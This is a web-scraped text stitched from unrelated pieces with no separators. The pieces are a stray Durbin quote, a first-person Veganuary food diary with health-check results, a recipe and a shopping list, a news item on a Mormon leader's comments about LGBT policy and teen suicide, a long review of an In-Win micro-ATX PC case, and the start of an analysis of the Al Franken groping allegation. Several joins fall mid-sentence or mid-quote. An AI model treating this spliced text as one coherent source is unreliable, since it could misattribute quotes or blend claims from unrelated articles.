"Do you remember when there was a time that the Export-Import Bank was beyond reach, no one could touch it?" Durbin asked.With celebrities such as Beyoncé, Russell Brand and Ellen DeGeneres leading the way, more and more of us are opening up to the possibility of leading a vegan lifestyle.
Over one in ten of us in the UK claim to follow a vegan or vegetarian diet, and Deliciously Ella's vegan cookbook was the fastest selling ever last year, so this trend shows no sign of going away.
Veganuary (vee-gan-uary) is an awareness month asking the vegan-curious to remove all animal products and by-products from their diet throughout January. Last year more than 12,000 people took part in Veganuary, and organisers are aiming to sign up 50,000 participants for 2016.
Writer Joanne Gould, 30, from London, is taking part for FEMAIL. Here she reports on her progress so far…
Joanne Gould decided to go vegan for January, joining as many as 12,000 others who do the same. Here, she reports on her progress
WEEK ONE
I've been disgustingly gluttonous over Christmas - well, most of December actually - and a health consultation at Champneys Health Resort in Tring, Hertfordshire, confirms that I've accumulated an extra 10lbs or so of cheese and booze weight.
Upsetting, but not surprising. My blood pressure, though in the healthy range, is also higher than normal, as is my pulse at 66.
Considering I'm normally pretty healthy and exercise regularly, this is quite a shock and shows what a month of bad habits can do.
The Champneys InBody scanner (a daunting piece of kit with metal handgrips that takes your reading) tells me my protein and mineral levels are normal, but my fat levels are too high.
As I tend to follow a high protein, high good fat and low carb diet, I expect this. I'm pleased to see that my muscle mass is good though, and after a quick chat with a Champneys nutritionist about how to eat healthily throughout my Veganuary challenge, I'm raring to go.
MONDAY
Joanne starts Veganuary with a juice fast to shock her system and get rid of some festive weight
I decide to throw myself into Veganuary starting with a juice fast to shock my system and get rid of some of the festive weight sharpish.
I've chosen The Healthy Juice Company as they are completely vegan and prepare cold pressed fresh juices delivered to your door at 6am each day.
To start, there's an unappetising yellowish drink of coconut oil, turmeric and lemon which you mix into hot water. It looks kind of curdled and tastes it too, but I knock it back.
The rest of the day is filled with five more colourful juices packed with things like chlorella, kale, berries and nuts, which all taste great and are surprisingly filling.
I'm not tempted to cheat and eat, but by the end of the day I have a chronic headache and painkillers are banned on the juice plan. An early night beckons.
Joanne drinks an unappetising yellowish drink of coconut oil, turmeric and lemon, mixed with water, to begin
TUESDAY
I wake feeling horrendous. Everything hurts and I feel fluey. Nevertheless I have a busy day ahead and after dropping my son at nursery I get back on the juice plan.
Feeling this poorly means I have no appetite, so I don't even finish some of my day's juices. This is not an uncommon side-effect to juicing as it will often bring out whatever nasty illnesses were lingering beforehand but usually leave you feeling amazing afterwards.
I'm almost glad of my lack of appetite, as I have to make several full English breakfasts for a work project today - I'm not sure I'd have been able to resist the smell of frying bacon, sausages and hot buttered toast otherwise!
Joanne spends Tuesday feeling like she has the flu, which she thinks is the juice fast removing illness from her
WEDNESDAY
It's the last day of my juice plan and I've almost come to enjoy the weird yellow morning drink. It's designed to kick start digestion and metabolism, and it's true that I'm feeling a few pounds lighter and my stomach is a bit flatter.
Buoyed by this success (but still feeling pretty awful) I get through my day's juices easily. I particularly like the hazelnut'mylk' lunchtime bottle, which is designed to help you feel full. Seeing as vegans shun dairy products like milk, this can only be a good thing!
To prepare for the rest of the month as a vegan I do a big food shop today and start thinking about meals to cook.
Though many ingredients are expensive as standalone items - for example coconut milk is almost double my normal organic cows milk, and yoghurt alternatives are an eye watering £2 for a tiny pot - my shopping bill comes in at about a third of what it usually would. I go to bed excited to start eating.
By the third day of the juice fast, Joanne feels lighter and her stomach is flatter - and she's enjoying the drinks
THURSDAY
Breakfast is avocado on toast with tomatoes and pomegranate molasses. It's truly delicious and I begin to think this vegan thing will be a walk in the park. Equally, my lunch of homemade potato curry with greens and a chapatti is warming, filling and tasty.
Looking on Pinterest for dinner inspiration, curry seems to be an easy and popular option. Indian diets are often vegetarian, so there are no sacrifices to be made here.
Despite my curry lunch, I make a big pot of butternut squash and cashew curry for dinner and it goes down very well.
The same cannot be said for my Alpro soya yoghurt on the side; it tastes weirdly sweet and vanilla-y though its supposed to be 'natural'. Ugh.
She begins her day with avocado on toast with tomatoes and pomegranate molasses
Joanne eats butternut squash and cashew currey for dinner, which she really enjoys as it's warm and filling
FRIDAY
I skip breakfast today in favour of a soya cappuccino on the hop.
As with last night's Alpro run-in, I usually find soya milk utterly repugnant, but in a cappuccino it's actually OK. I tend to drink my coffee black anyway and don't go in much for tea, thankfully.
I'm busy today and welcome the sight of a fridge filled with vegan-friendly Glorious soups for a quick lunch; the Vietnamese Supergreen tastes amazing and I treat myself to a slice of toast thinly spread with avocado to go with it.
For lunch on Friday Joanne eats some Glorious soup - she thinks the Vietnamese Supergreen is amazing
I'm going out for dinner with friends tonight and really conscious that I don't want to ruin everyone's fun by insisting we go to a vegan-friendly restaurant, but I'm also determined to stick to my challenge.
A quick google shows that chain restaurants tend to be the easiest places to find vegan food, and with several of us fancying Thai food we end up at Banana Tree.
I'm impressed that there are multiple vegan choices and enjoy spring rolls followed by a very good tofu stir fry and noodles. Some of the other girls ordered the same, even though they're not doing Veganuary!
Joanne worries about not finding vegan options while eating out, but is pleasantly surprised at Banana Tree
She enjoys vegan spring rolls at the restaurant, followed by a very good tofu stir fry and noodles
SATURDAY
The weekend calls for a treat breakfast, and I set about making a'sausage' sandwich with Tofurky sausages. I've had these before and they taste good, so I'm looking forward to this.
The only pitfalls to look out for are condiments; luckily I'm armed with some vegan friendly ketchup.
It's easy to assume that vegan food automatically means 'healthy', but actually, these sausages are just as calorific as standard pork ones and contain lots of salt.
While Joanne likes the vegan sasusages, she remains aware that they contain a lot of fat and salt
However, the protein is leaner and denser and my husband and I are both stuffed until late afternoon as a result. At 4.30ish I snack on a couple of ryvita with avocado again.
Dinner is a huge vegan curry feast and I make tandoori tofu, which I found on Pinterest (I've never cooked tofu before but this is amazing), daal, cauliflower rice, tomato onion salad, okra and eat it all with plenty of poppadums.
Plus, I've discovered CoYO - dairy free yoghurt made from coconut, which is just divine with curry. I'm really enjoying this so far!
Joanne makes a huge vegan curry feast for Saturday night - and discovers a love of coconut yogurt
SUNDAY
I'm feeling lighter and brighter with quite a bit of energy, but I'm finding I'm much hungrier than normal.
I wasn't planning on having breakfast as we're heading out for lunch later but in the end I have to have some toast with mushrooms and tomato as I'm starving.
I don't want avocado on this toast so spread it with tahini (sesame paste) instead, and it's good.
Sunday starts with toast with mushrooms and tomato, spread with tahini (sesame paste), which Joanne likes
Joanne visits her favourite Turkish restaurant for lunch and has babaganush, stuffed vine leaves, fluffy Turkish bread, falafel and salad - all of which are vegan. She relishes the chance to explore new menu items
We're at my favourite Turkish restaurant for lunch and I thought it would be hard to resist my normal lamb kebab dish, but actually I relish the chance to eat other things on the menu.
I go for mezze style and order away: babaganush, stuffed vine leaves, fluffy Turkish bread, falafel and salads all pass the test and I'm happily full and ready for a long walk on Hampstead Heath.
Dinner, much later, is last night's leftover curry.
Dinner on Sunday is last night's leftover curry - just as good the second time around as it was the first
WEEK TWO
MONDAY
I can't get enough of the CoYo yoghurt and mix half a pot with pineapple and lots of greens for a morning Nutribullet.
Lunch is leftover daal with a puri, but I'm almost getting bored of curry now so start flicking through some of my recipe books for inspiration.
Anna Jones' A Modern Way to Cook is vegetarian but most recipes can be easily adapted for a vegan diet.
I make her Mushroom Celeriac and Bay Ragu for dinner and serve with polenta made up with veg stock and lemon zest and a cheese-free pesto. It's so warming and filling I'm asleep on the sofa by 9.30pm.
Joanne's second week of Veganary begins with a smoothie CoYo yoghurt, pineapple and lots of greens
For dinner, Joanne makes Mushroom Celeriac and Bay Ragu for dinner and serve with polenta made up with veg stock and lemon zest and a cheese-free pesto. She finds it satisfying and warming
TUESDAY
My energy is back today and after a brisk morning swim I spot a new sign in Starbucks advertising their coconut latte. I'm so pleased not to have to drink soya again and it's so creamy yet light: I'm sold.
For lunch I've got a baked sweet potato but can't for the life of me think what to fill it with. My favourites normally are tuna mayo or just cheese - both big no-no's.
Amelia Freer's new book, Cook Nourish Glow, comes to the rescue with a simple recipe for spiced pine nuts and (yessss!) coconut yoghurt. It seems pretty devoid of veg though so I pop some rocket in.
Another dinner date looms and this time I suggest Covent Garden's Wild Food Café; it's fully vegan and almost all raw to boot. My friend is a huge vegan-sceptic so this will be interesting! It's absolutely packed, so clearly I'm not the only one doing Veganuary in here.
For lunch Joanne makes a sweet potato with pine nuts and coconut yogurt, a recipe by Amelia Freer
Joanne visits Covent Garden's Wild Food Café and eats veggie burrito with cashew cream - a'revelation'
For dessert, Joanne eats a incredibly sinful tasting chocolate hazelnut cake - which doesn't leave her too full
We share a restaurant-worthy mushroom ceviche with all sorts of clever vegan tricks - it's beautiful and tastes great. The veggie burrito with cashew cream is also a revelation to both of us.
We finish it all off with an incredibly sinful tasting chocolate hazelnut cake, which has to be tasted to be believed.
Despite being really full, there is none of the usual discomfort that sometimes comes after a big meal and definitely none of the guilt. I could get used to this.
WEDNESDAY
I've noticed I'm eating breakfast more frequently than I'm used to - I wouldn't normally have both breakfast and lunch in the week, but I'm finding I'm much hungrier in the mornings on this diet.
I fancy some granola, but this can be tricky as most brands contain honey, which is not permitted by vegans. I find a brand called Lizi's which is suitable and it's lovely with some coconut milk - lots of nuts and crunch.
Joanne begins Wednesday with some granola and coconut milk, before having Vietnamese Pho for dinner
Lunch is more daal as it's such a handy thing to make in a big batch and then just reheat as and when. Mid-afternoon I reach for a snack bar, but check myself and realise that although it looks virtuous, it uses honey to sweeten.
This is true of most healthy snack bars, but the entire Nakd range is completely vegan, so I have their Pecan Crunch to keep me going.
For dinner, I've got a recipe box from Mindful Chef. They send everything you need already weighed and portioned out for you to make easy and delicious meals; my box is a vegan friendly one and I'm impressed with how easy and quick it is to knock up their Vietnamese Pho with Tofu and Courgetti.
If you were struggling for meal inspiration, or not a great cook, this would be a good thing to do as it takes all the hassle out of cooking a nutritious dinner.
THURSDAY
It's freezing cold and pouring with rain today so I head to Brent Cross to hit the shops.
A few hours shopping on an empty stomach means that after a while the smells from food court are making my stomach rumble.
All I can think about is cheese on toast, or boiled egg with hot buttery soldiers. Neither option is OK and at home I settle for another Glorious soup - this time Singapore Tomato (lovely) - but I don't want avocado or tahini on my toast with it. I really want some butter.
A huge discovery is Tiana spreadable coconut oil, which doesn't taste coconutty and spreads like butter
Joanne knocks up an impressive aubergine and green bean massaman curry for her dinner with a friend
A quick hunt through my larder finds a jar of Tiana spreadable coconut oil that promises its not coconutty at all. And it's not – it's kind of like a margarine without the plastic taste. It has the same'mouth feel' as butter; it'll do.
I have a friend over for dinner and knock up an impressive aubergine and green bean massaman curry thanks to a Hello Fresh recipe I find online. It can be hard to eat Thai food as a vegan as many dishes (and readymade curry pastes) contain fish sauce, which is to be avoided.
I used a Mai Siam paste from Wing Yip that is completely vegan though.
FRIDAY
Muesli is on the menu for breakfast today; this is an Alara number that is available in lots of health food shops and very nice it is too. I'm still not over my CoYo obsession, so have it with half a pot of their cherry variety.
It energises me for a long walk on the Heath again, then I come home to what Instagram seems to be calling a 'goodness bowl'. Basically a salad of black beans, tomato, freekeh, half an avocado, kale, peppers, tofu all artfully arranged.
Joanne has muesli for breakfast with half a pot of cherry coconut yogurt, which she enjoys
Joanne eats a 'goodness bowl' for lunch, made up of black beans, tomato, freekeh, half an avocado, kale and tofu
Joanne feels that the goodness bowl is incredibly nutritious, which makes her feel better about eating carbs
It feels incredibly nutritious and I feel better about the fact my dinner tonight is super carb-heavy. I've a night in by myself, and a big bowl of pasta is on the cards.
I was so surprised to find that most dried pasta is vegan friendly, as I'd assumed it contained eggs like the fresh stuff.
I have it with a homemade Puttanesca sauce, without the anchovies, and a little garlic ciabatta that I made myself by mixing the spreadable Tiana with garlic and Monday's leftover pesto.
Parmesan is a different matter though. I love the proper stuff and though lots of enthusiastic vegans on Twitter tell me there are vegan alternatives, I can't find anything.
I settle for some 'pizza cheese' by Violife, which is actually ok compared to other vegan cheeses I've tried, but it's no match for parmesan. I feel sad that dairy isn't allowed.
Joanne loves her vegan pasta but finds herself missing Parmesan - vegan cheese just doesn't taste as good
SATURDAY
There's no breakfast for me today as we're going for tapas for lunch. The menu doesn't specify whether items are vegan or otherwise and the staff are all Spanish, so it is hard to make myself understood and I chance it.
I opt for mushrooms in garlic oil, patatas bravas and some mushroom croquetas and feel pretty safe with my choice. It's only on the way home that I realise the aioli would have contained egg yolk… oops.
Still, I'm proud of myself for not even having a tiny taste of my husband's amazing looking Iberico pork platter and sizzling prawns.
For dinner we have planned a burger night. We've tried Amy's Kitchen Manhattan burgers before and loved them, plus we have some promising looking 'cheese' slices from the local health food store.
Joanne eats mushrooms in garlic oil, patatas bravas and some mushroom croquetas at a tapas lunch
Joanne eats Amy's Kitchen Manhattan burgers for Saturday dinner, with vegan mac and cheese and potatoes
Vegan mayonnaise at the ready, I serve it all up with sweet potato fries and Amy's Kitchen 'Mac'n'cheese' which my dairy-intolerant friend raves about.
It's ok - not like the current trendy rich stuff, but a close copy of the cheaper American style type. I add a few jalapenos and decent salt to pep it up and it's pretty good. I've been doing Dry January until now in an extra bid to lose weight, but cave tonight and have a vegan-friendly beer.
Alcohol is a whole other vegan minefield but I've discovered Little Valley Brewery which do a brilliant range of organic, vegan craft beers - get them in M&S.
SUNDAY
Toast for breakfast again - I don't think I've ever eaten so many carbs as I have in these last two weeks!
But, for once, I don't feel bloated from it. I have it with the Tiana spread and some proper maple syrup - a great alternative to honey for vegans.
Joanne has hummus, pita and aubergine while out shopping, which makes her husband envious of her food
We go shopping and take a break for lunch where I resist the lure of a smoked salmon bagel and opt for hummus, pita and aubergine. It's great and my husband has major food envy despite his tempting looking bagel.
I've seen lots of people making a creamy looking sauce out of butternut squash lately on Pinterest and the like, so tonight I attempt it to go with a mushroom and spinach lasagne.
It's a runaway success and I'll definitely be swapping my calorie and fat laden béchamel for this from time to time.
As a treat, I bought myself a vegan brownie from Lola's Cupcakes whilst we were shopping, so I have this with a Pukka Blackcurrant Beauty tea later on. You'd never know it was vegan and it tastes phenomenal.
Joanne makes a mushroom and spinach lasagne with a sauce made of butternut squash for a vegan twist
THE RESULTS
I'm back at Champneys to discover the results of my vegan fortnight. Their experts say that to see any real results, I'd have to continue for three to six months - by then it would be possible to see changes in vitamin levels and much more - but in fact my topline results are interesting after just two weeks.
The nurse tells me I've lost a kilo overall in weight - which is amazing, seeing as I feel I've been eating much more than normal. However, my protein levels have decreased along with this.
I've also lost lean muscle mass, with some turning to fat, which I'm horrified at! I cheer up when the nurse tells me my blood pressure is now perfect at 117/76 and my pulse has slowed to 55 - which indicates a leap in fitness levels thanks to my newfound energy.
Overall I feel positive about my Veganuary experience. It's not over yet, and I will be sticking to it for the rest of the month at least. I've discovered a newfound love of meat-free cooking, and compliments on my glowing skin and slimmer face (not body, yet!) from my friends are really motivating me.
I've always loved animals and felt slightly uncomfortable about having them as food, but at the same time I'm realistic and I enjoy eating meat and fish too much to give it up completely so will continue to look for higher welfare, responsibly farmed food.
The fact that my protein levels dropped in such a short time also highlights how difficult it is to source outside of animal products - even though my diet was filled with lentils, tofu and nuts - so I'll look to eggs to remedy this in the short term.
Vegan eating takes so much organisation and planning to get it right; you can't just walk into a shop and pick up a sandwich if you're used to shopping and eating this way.
You need to make the bulk of your food from scratch, or be prepared to shell out for expensive ready-made products. And eating out can be a minefield - this isn't something for already picky eaters, for sure.
Having said all that, if you have the courage of your convictions and are committed to a vegan diet then it is definitely possible to do - and enjoy. Personally, I can't wait to eat smoked salmon, boiled eggs and mozzarella again!
SHOPPING LIST Coconut milk x 4 = £5 Bread x 2 = £2.20 Peppers = 99p Spinach = £1.50 Tinned tomatoes = 39p Lentils = £2 Butternut squash = £3 Aubergine = £2 Cauliflower = £1.30 Tofu x 2 = £3.50 Coconut oil = £5 Rice = £1.60 Coriander = 99p CoYo x 5 = £10 Tofurky sausages = £3.75 Avocado x 3 = £1.80 Poppadums = £1.30 Cherry tomatoes = 99p Amy's Kitchen veggie burgers = £2.50 Amy's Kitchen mac and cheese = £2.20 Polenta = £2 Rocket = £1.50 Sweet potatoes = £1.60 Celeriac = 99p Lizi's Granola = £2.69 Alara Muesli - £2.79 Violife x 2 = £5 Lasagne sheets = 60p Mushrooms = £1.50 Chippa May-O and Ketchup = £3 Glorious soups x 2 = £3 TOTAL £71.68* *I generally made large batches of most dinners and had plenty of leftovers to freeze for another day, so this figure is even better value.
FACT BOX TITLE Raw Chocolate Cake Ingredients Base 11/2 cups almonds or coconut chips 1 cup raisins (or chopped up figs, or any dried fruit except goji berries) 3 tblsp coconut oil, melted 2 tsp vanilla extract 2 tsp cinnamon 1/8 tsp salt Method Blend all ingredients in a food processor and press into a spring form cake tin. Cake filling 1 avocado 50g cacao powder 25g lúcuma (optional) Pinch of salt 1 tsp vanilla 40g coconut oil (melted) 60g coconut sugar 3/4 cup of almond milk 50g creamed coconut (melted) Method Blend avocados until smooth, then add all other ingredients and blend together in a food processor. Pour mixture over the base and leave to set in the fridge. Decorate with fresh raspberries, blueberries or cacao nibs.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
A Mormon church leader has claimed that he will find out “on judgement day” whether his church’s homophobic policies cause teen suicide.
The Church of Jesus Christ of Latter-day Saints, commonly known as the Mormon Church, revealed harsh new policies in its updated guidebooks late last year.
The new rules state that gay people who marry are ‘apostates’ – meaning they are viewed as having abandoned the Church.
The Church also affirmed that all children living with same-sex parents or guardians will be barred from being baptised or becoming Church members, unless they “disavow” their parents’ relationship.
LGBT Mormon support group Mama Dragons claimed last month that 32 young church members had died by suicide since the policy was unveiled.
However, Church Elder Dallin H. Oaks, said he “can’t answer” questions on the issue while appearing on the Mormon Stories podcast.
According to Towleroad, he was asked by an audience member: “Less than a year ago, right here in Washington, DC, my friend killed himself.
“He was Mormon and gay. You’ve gone on record that the church does not give apologies.
“Does religious freedom absolve you from responsibility in the gay Mormon suicide crisis?”
Elder Oaks responded: “I think that’s a question that will be answered on judgment day. I can’t answer that beyond what has already been said.
“I know that those tragic events happen. And it’s not unique simply to the question of sexual preference.
He continued: “There are other cases where people have taken their own lives and blamed a church – my church – or a government, or somebody else for their taking their own lives, and I think those things have to be judged by a higher authority than exists on this earth, and I am ready to be accountable to that authority, but I think part of what my responsibility extends to, is trying to teach people to be loving, and civil and sensitive to one another |
little things do add up overall. Once I had removed the thumb screws from both doors (again, good attention to detail. If you want to adjust your cable management on the back side of the motherboard you don’t have to go looking for a screwdriver to take the second door off) I removed the doors with ease. Unlike some cases I’ve used, this one does not provide any resistance or difficulty putting on or taking off the doors. I don’t have to fight with it to make sure every clip is engaged on all sides of the door. I should also point out that when the doors are on there are no gaps or edges sticking out. They fit just as seamlessly to the rest of the case as the front bezel does.
The component side door is mostly mesh with rubber mount points for four 120mm fans in a 2×2 configuration. The fan mount area is raised out away from the case by about ½” which gives more depth for thicker case fans to be added to the door or taller CPU coolers to be used. The rubber fan mount grommets cut down on vibration and the outer mesh has the smaller inner lining to help prevent dust accumulation.
The other door is mostly plain with just a few vent holes near the bottom. These holes do not have the mesh filter on them, but given the number of intake fans on this case those holes are really more for output than intake so again the mesh really isn’t needed here.
Looking from either side of the case, we see lots of holes for wire management as mentioned above. Aside from this we can also see that the opening for heatsink back-plate installation is fairly large and should give access to the mounting holes for most motherboards without issue (see picture of empty case above and case with mother board installed below).The space between the underside of the motherboard tray and the door on that side is over half an inch wide, so there is plenty of room for wires to be routed, even two layers thick if necessary. As you can see from the image below, the ruler is pressed up against the back of the motherboard tray and the ruler measures a full centimeter before reaching the edge, add to that the 7 or so millimeters space before the markings on the ruler start and you’ve got almost two cm of depth to hide your cables in.
Now the fans. There are the following fans in the case. One 140 mm fan in the middle of the front of the case. This fan is installed for intake. Below that, on the very bottom of the front side, there is an 80 mm fan, also set to intake. This fan is hidden from view behind the two lower 5 ¼” face plates. These two fans can be seen behind the front bezel in the image below. In the middle of the back side of the case there is a 92 mm output fan. The final fan is in the top side of the case at the very back. It is a 140 mm fan set to output. These two fans can be seen in the previous images showing the back side and top side of the case. All fans have yellow blades, all but the 92 mm fan has a smaller grill on it to help keep out dust and all of them except the 92 mm fan (again) use a standard molex connector to power them. The 92 mm fan has a 3 pin connector to plug into a fan header on the motherboard. Those are the fans the case comes with, but there are other fan mounting points. As mentioned the case has room for four 120 mm fans on the component side door with double mesh protection, and there is a vent (again with both types of mesh) in the bottom of the case for the power supply to draw in air if it has a modern top-mount 120 mm cooling fan instead of the older PSUs with rear-mount 80 mm fan. Two more small details to note are first, the PSU mount holes at the back of the case allow the PSU to be mounted “top side” up or “top side down,” so if you want to take advantage of the case bottom intake vent, then you don’t have to worry about your PSU mounting with the fan on the wrong side, facing into the case. The second small detail to note is that both of the 140 mm fans mounts have secondary 120 mm mounts in the same area. So if you want to switch out one or both of the 140’s for your favorite 120 mm fan you can do so with no problem.
Drive bays. I’ve already described what the drive bays look like from the outside, and you’ve seen the images showing the drive bay covers earlier and you can also see them in the image immediately above. Now we see what awaits within. Up top it is pretty simple. A single 5 ¼” external bay, followed by a single 3 ½” external bay below that and finally a single 2 ½” internal drive bay below that. You can see the clips that lock the 5 ¼” and 3 ½” drives in place in the pic below. The red lines underline the mounting points for the 2 ½” drive. Simple.
Now onto the bottom. Here’s where it gets complex. At first glance the bottom seems to have a drive cage for three 3 ½” interior drives with an 80 mm fan in front of them for cooling but, the two front face plates can be removed and the fan mounts unscrewed and you now have three exterior 3 ½” drive bays. But wait, there’s more. The inner drive cage can be easily removed by sliding it forward, revealing a second, larger drive cage that can accommodate two 5 ¼” drives, interior or exterior. The point is you’ve got choices. I should also add that removing the smaller drive cage from the bigger one was easy to do, just make sure the locking tabs on the outside the drive cage are disengaged and gently slide the cage forward.
Installation
Next, lets take a look at what I’m installing. Not top of the line by any means, but it by and large the components are somewhat up to date. Everything except the second optical drive with the red “X” through it will be used. I could have put both optical drives in by using the lower bays, it really would not have been a problem, but the second drive really was unnecessary for the system so I just left it out. So what we do have is an ATX PSU, one 5 ¼” optical drive, one 3 ½” floppy drive, one 3 ½” hard drive, one AGP video card with a modified Intel P3 cooler on it and one mATX form factor LGA775 motherboard with a Conroe L Celeron cooled by the Cooler Master Hyper TX2 HSF.
Then we take a look at a shot of how the system looked in the old case.
Ugly inside, ugly outside but at least it worked. The motherboard tray ends wrap around the back and almost touch the door, there’s barely 2mm of clearance. So hiding the various cables behind the system was not possible. What a mess!
So now let’s see what happens when I try to install the system into this case. The first thing to go in was the PSU. It’s not like some of the new extra long ones that put out 1kw or more, this one is a Sparkle 350 w and measures 140 mm deep according the the spec page at the manufacturer’s website. Then I decided to temporarily mount one of the optical drives in the lower bay to see how much space there would be between it and the PSU. Not a lot of room to spare but enough to get your fingers in to move a jumper or swap cables if necessary. I’m not going to buy one of every PSU and one of every drive that exists to make a list but I did a bit or research and found that some high powered PSU’s are 160 mm long and some are 180 mm long. Not know how long the drives that could be paired with such power supplies I will say this: A 160 mm long PSU would be a tight fit at best and a 180 mm PSU would almost certainly be a no go with an optical drive in the lower bay unless the optical drive was very short. Given that this case is a MATX case I don’t think the small space is anything to complain about, I’m actually pleased to see that it is possible to put full sized optical drives in the lower bay with the 350 w PSU. Compact size and functionality.
Screwing the slide rails into the hard drive was easy, then I just slid the drive into the inner cage and slid the cage back into the case before locking it in. The upper drive bays went just as easy. Just slide in the the drives and lock them in place. The “action” for all of these maneuvers, putting drives in and taking them out, was very smooth. No snags or getting caught on anything. Let’s hear it once more for good attention to detail. Speaking of which, the back edges of the upper drive cage are not 90o, it’s slightly tapered such that it does not come back as far on the motherboard tray side as it does on the component side. I found this was very useful in helping me install the motherboard. It gave me the extra room to move that made installation a breeze. Again note the red line showing the 2 ½” drive mounts.
So here is what we see with everything installed.
The motherboard I’m using is a mATX that meets the proper dimensions for the mATX standard. While putting the motherboard in place, I did not have a lot of clearance, but I didn’t have to wiggle it in or remove the PSU or drives first, I didn’t even have to remove the CPU cooler (Cooler Master Hyper TX2, a “standard sized” heat-pipe tower with 92 mm fan), I just angled it into place and it aligned with the mounting holes perfectly. Once mounted I could see that there was little headroom above the cooler, very little.
Most, if not all 120 mm tower coolers won’t fit, especially if you plan on putting fans on the door. Heck I couldn’t even put a thin (25 mm thick) fan on the upper/back 120 mm fan mount on the door without it hitting the top of my TX2. So, if you’re gonna use a cooler with a 120 mm fan you’ll have to keep it to a max height of about 145 mm from top to bottom or the door won’t shut. In the picture below, we can see the ruler measuring 145 mm from the top of the motherboard to the edge of the case. To this number we must add the 7-8 mm distance from the start of the ruler to the actual beginning of the markings on it (see the above image regarding the depth of room to hide cables behind the mother board) but then we must also subtract a similar amount for the distance from the top of the motherboard to the top of the processor once installed in the socket. This is for socket LGA775. Any other sockets and your mileage may vary but probably not much. So your best bet is to pick a 92 mm cooler or use a cooler where the bulk of the setup runs parallel to the motherboard instead of perpendicular.
At this point you might be asking why I’m complaining about this, after all it is a mATX case, it’s supposed to be small. Well the answer is I’m not complaining, I’m just letting you all know what to expect. Well what about water cooling? Room for that in a mATX case? In this one there is. I can think of several configurations to use. Look at all that empty space above the lower drive cage near the front 140 mm fan in the image above. Also notice the three (not two, three!) rubber access ports at the back of the case. You could use two of them to run to and from the CPU block while keeping the bulk of the components outside the case, or going to and from an external rad while keeping most of the components inside the case, and still have one access port available for a fill port t-line. Or just keep everything internal by mounting a small rad on the top 140 mm fan with the pump near the front 140 mm fan and the block on the core (obviously). The point is once you take out the heatsink you gain enough room to go with several different layouts, as long as you choose the right parts for your loop. Also, in spite of my initial concerns, I do believe the shell does have the structural integrity to handle the weight of a H 2 O loop.
The USB and front audio pin outs were labeled clearly in the manual and the pins were arranged in the proper manner. I connected and tested them, the audio and USB front ports work fine, as does the power switch and the activity LEDs.
Now that I’ve hooked up all the cables, routing them through the back side of the mother board tray of course, it was ready to go. Hit the switch and it fired up just fine. Fan noise? Near silent. Very quiet, all of them. I placed my hand on the case when the machine was on and felt very little vibration.
Conclusions
So now that I’ve poked and prodded the thing, put the parts in and fired it up I should get to my conclusions. I want to say that my initial fears of the fragility of some of the plastic tabs was unfounded. I popped the front bezel on and off more than once and the same can be said for all of the drive bay covers, and they all held up just fine. The initial smell I was met with upon opening the packaging? Once I had the case out of the packaging and it was getting some air it was gone within 10 minutes, tops. The structure of the metal was stronger than my initial “finger-rap” led me to suspect. I didn’t put it into a car-crusher or sledge hammer it to see how easily it would buckle, but a bit of gentle, consistent twisting pressure on the shell did not cause it to yield in the slightest. Nothing bent, nothing warped, no rivets came out, no problem with the structure at all.
However, I did notice a small scratch in the finish on the outside of the bottom of the case. This must have happened while I was installing the components because it was not there when I first examined the case. I’m surprised that it happened at all as I wasn’t manhandling the unit despite the above sentence about “gentle twisting.” I must have accidentally set it down on something with an edge at one point and not realized it. The blemish which I caused is noticeable. It shows up as a mark that is a slightly lighter shade. I’ve no doubt that part of the reason I’m aware of the scratch is that I’m looking the whole thing over with a very critical eye, but if the scratch were big enough and on the top or one of the sides I think most people would notice it. I’m not saying it looks terrible, but I would have thought that the grainy matte finish would hide it better than a scratch on a shiny smooth finish but this is just not the case. Based on my own previous experiences and observations, I’d have to say this finish is neither better nor worse at hiding blemishes than a glossy, smooth finish. It’s not a negative, just not the bonus I had hoped it would be. I’ve avoided posting an image of the bottom of the case until now because my pre-scratch shots did not turn out right and I didn’t want to show the scratch until I had a chance to state that it was my fault for causing it. So now that that is out of the way allow me to show what the bottom of the case looks like (it’s not a lot different than the top really, just add the feet) and the scratch.
So in the end, what problems did I have with this case? Well the illuminated In-Win logo is way too bright for my comfort. Also scratches in the finish are fairly easy to notice. Other than that I can’t really say anything bad about it.
What did I like about it? Wheeew! Where to start… Well the manual is laid out very clearly, it’s easy to follow the instructions and if you do you shouldn’t get lost along the way. It’s very quiet, especially when you consider it’s got four fans in it. You get a lot of room to work with for a case in its size category. The drive bays provide a lot of versatility with many configuration options possible. The construction is sturdy. Then there’s all the little things, the rubber grommets to dampen vibration, the secondary mesh to keep out dust, the way all the bits and pieces fit together effortlessly.
Other thoughts? Well I could say it would be nicer to have a case that can house a full height 120 mm tower cooler, but it is a mATX case that I’m reviewing. Complaining that it’s not bigger would be like reviewing the design for the new penny and then complaining that it’s bad because it’s not a dollar. Also, the style of the face, which I did not really touch on much in this review, is in my opinion purely a matter of personal aesthetics. I can’t tell you if it looks good to you or not. You don’t need me to help you make that decision. Just look at the pictures. If you really want my opinion though I do like the look of it. The lines are clean, nothing looks out of place like a clown’s nose on a fashion model wearing a new tuxedo, and the mesh does give it something of an armored feel (so watch out dragons, this case is ready for battle!) I think most people will like the look of it too, but everybody has the right to their own opinion. So you tell me. Do you like the way it looks?
–eobardAt about 11:15 this morning, an hour or so after Leeann Tweeden published an allegation that Democratic Sen. Al Franken of Minnesota had groped and kissed her without her consent in 2006, I assumed that Franken was headed toward resignation. I didn’t necessarily expect Franken to resign immediately or without putting up a fight. But barring some highly exculpatory evidence, I expected Senate Minority Leader Chuck Schumer and other prominent Democrats to be pushing Franken out the door.
Here’s why I thought that. First, the timing. The accusations against Franken came in the midst of a major scandal involving Roy Moore, the Republican nominee for Senate in Alabama, who has been accused of sexual misconduct toward multiple girls and young women. And it comes on the heels of scandals involving sexual assault or sexual harassment by some of the biggest names in Hollywood and the media business: Harvey Weinstein, Roger Ailes, Kevin Spacey and Louis C.K., to name some of many examples. It also comes about a year after Donald Trump was elected president even though he was accused of sexual misconduct by many women and was caught on tape bragging about grabbing women by their genitals. The conduct Franken is accused of is just the sort of behavior that he has condemned, potentially making he and other Democrats look hypocritical.
Second, there was the photograph that Tweeden published with her article. It appeared to show Franken groping Tweeden’s breasts while she was sleeping — not providing a lot of room for “if true” statements about Franken’s conduct.
